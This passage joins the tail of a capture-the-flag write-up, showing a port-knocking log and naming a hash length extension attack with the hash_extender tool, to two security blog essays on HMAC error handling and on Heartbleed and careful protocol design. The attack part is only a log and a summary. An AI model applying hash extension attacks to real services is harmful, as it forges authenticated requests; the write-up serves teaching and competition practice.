[...repeated like 100 times...]
allowing host ::1 on port 0
allowing host ::1 on port 0
allowing host ::1 on port 144
allowing host ::1 on port 7175

And that's it! At that point, you can visit http://knockers.2015.ghostintheshellcode.com:7175 and get the key.

Conclusion

This is a pure hash extension vulnerability, which required no special preparation—the hash_extender tool, as written, was perfect for the job!

My favourite part of that is looking at my traffic graph on github:

It makes me so happy when people use my tool, it really does!

Thought experiment on protocols and noise

I hesitate to call this an interview question because I don’t think on-the-spot puzzle solving equates to a good engineering hire. On the other hand, I try to explore some simple thought experiments with candidates that have a security background.

One of these involves a protocol that has messages authenticated by an HMAC. There’s a message (with appropriate internal format) and a SHA-256 HMAC that covers it. As the implementer, you receive a message that doesn’t verify. In other words, your calculated MAC isn’t the same as the one in the message. What do you do?

“Throw an error” is a common response. But is there something more clever you could do? What if you could tell whether the message had been tampered with or if this was an innocent network error due to noise? How could you do that?

Some come up with the idea of calculating the Hamming distance or other comparison between the computed and message HMACs. If they are close, it’s unlikely that the message had been corrupted, due to the avalanche property of secure hash functions. If not, it may be a bit flip in the message, possibly due to an attack.

Ok, you can distinguish whether the MAC had a small number of errors or the message itself. Is this helpful, and is it secure? Consider:

  • If you return an error, which one do you return? At what point in the processing?
  • Does knowing which type of error occurred help an attacker? Which kind of attacker?
  • If you chose to allow up to 8 flipped bits in the MAC while still accepting the message, is that secure? If so, at what number of bits would it be insecure? Does the position of the bits matter?

There comes a moment when every engineer comes up with some “clever” idea like the above. If she’s had experience attacking crypto, the next thought is one of intense unease. The unschooled engineer has no such qualms, and thus provides full employment for Root Labs.

Catching up on recent crypto developments

When I started this blog, the goal was to write long-form posts that could serve as a standalone intro to security and crypto topics. Rather than write about the history of the NSA as planned, I’ll try writing a few short notes in hopes that they’ll fit better within the time I have. (Running a company and then launching a new one the past few years has limited my time.)

Heartbleed has to be the most useful SSL bug ever. It has launched not just one, but two separate rewrites of OpenSSL. I’m hoping it will also give the IETF more incentive to reject layering violations like the heartbeat extension. Security protocols are for security, not path MTU discovery.

Giving an attacker a way to ask you to say a specific phrase is never a good idea. Worse would be letting them tell you what to say under encryption.

Earlier this year, I was pleased to find out that a protocol I designed and implemented has been in use for millions (billions?) of transactions the past few years. During design, I spent days slaving over field order and dependencies in order to force implementations to be as simple as possible. “Never supply the same information twice in a protocol” was the mantra, eliminating many length fields and relying on a version bump at the start of the messages if the format ever changed. Because I had to create a variant cipher mode, I spent 5x the initial design time scrutinizing the protocol for flaws, then paid a third-party for a review.

As part of the implementation, I provided a full test harness and values covering all the valid and error paths. I also wrote a fuzzer and ran that for days over the final code to check for any possible variation in behavior, seeding it with the test cases. I encouraged the customer to integrate these tests into their release process to ensure changes to the surrounding code (e.g., 32/64 bit arch) didn’t break it. Finally, I helped with the key generation and production line design to be sure personalization would be secure too.

I firmly believe this kind of effort is required for creating security and crypto that is in widespread use. This shouldn’t be extraordinary, but it sadly seems to be so today. It was only through the commitment of my customer that we were able to spend so much effort on this project.

If you have the responsibility to create something protecting money or lives, I hope you’ll commit to doing the same.